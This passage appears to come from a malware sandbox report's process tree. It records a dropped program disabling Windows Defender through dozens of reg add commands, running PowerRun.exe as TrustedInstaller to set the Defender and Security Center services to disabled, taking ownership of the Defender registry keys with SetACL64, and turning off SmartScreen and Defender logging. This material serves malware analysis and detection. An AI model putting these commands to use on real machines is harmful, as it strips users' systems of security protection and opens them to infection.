reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
5⤵
PID:5104

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
5⤵
PID:5468

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
5⤵
PID:4264

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
5⤵
PID:4256

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
5⤵
PID:860

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
5⤵
PID:1496

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
5⤵
PID:6040

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
5⤵
PID:5552

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
5⤵
PID:2276

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
5⤵
PID:1336

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
5⤵
PID:4068

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
5⤵
PID:5216

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
5⤵
PID:4176

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
5⤵
PID:3984

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
5⤵
PID:5788

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
5⤵
PID:1640

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
5⤵
PID:544

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
5⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
5⤵
PID:3176

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
5⤵
PID:5320

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
5⤵
PID:5828

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
5⤵
PID:4264

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
5⤵
PID:3360

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
5⤵
PID:4184

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender notification settings
PID:5336

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender notification settings
PID:5136

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
5⤵
- Executes dropped EXE
PID:5836

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
PID:968

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Executes dropped EXE
PID:2700

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5740

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5752

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
PID:1256

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:4328

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:1496

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5892

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:3284

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:3548

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5412

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:1272

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:1348

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:5828

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
8⤵
- Executes dropped EXE
PID:2456

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
PID:4592

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Executes dropped EXE
PID:1796

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:5936

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:2380

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:5500

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Executes dropped EXE
PID:5012

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:5232

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
8⤵
- Modifies security service
PID:5692

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:5408

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:4672

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:3820

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:544

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
PID:3348

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Executes dropped EXE
PID:3984

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Executes dropped EXE
PID:2716

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:3360

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:6024

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:3284

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5788

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:2328

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
PID:5192

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Executes dropped EXE
PID:1064

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:4344

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5792

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
PID:5468

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:4396

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:5484

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:1108

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:2536

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:4348

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:2452

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5056

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:2328

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5912

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:1496

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5644

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Modifies Windows Defender Real-time Protection settings
PID:3016

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:1548

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:2292

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:4748

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:4812

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:1348

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Modifies Windows Defender Real-time Protection settings
PID:3292

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:5908

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:544

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Modifies Windows Defender Real-time Protection settings
PID:3304

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
PowerRun /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:5172

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5936

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:2648

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:1180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Get-MpPreference"
5⤵
PID:5608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
5⤵
PID:992

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
5⤵
PID:5172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\do64.bat
4⤵
PID:2056

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
PID:5056

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
- Executes dropped EXE
PID:5500

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
- Windows security modification
PID:5752

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
- Windows security modification
PID:4900

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
PID:5588

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
PID:3232

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
PID:5896

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL64.exe
SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
PID:2696

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1496

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
5⤵
PID:2008

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
5⤵
PID:2500

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
5⤵
PID:2956

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
5⤵
PID:3512

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
5⤵
PID:5412

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
5⤵
PID:2536

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
5⤵
PID:5700

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
5⤵
PID:6028

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
5⤵
PID:3284

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
5⤵
- Executes dropped EXE
PID:4672

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
PID:5836

C:\Windows\SysWOW64\reg.exe
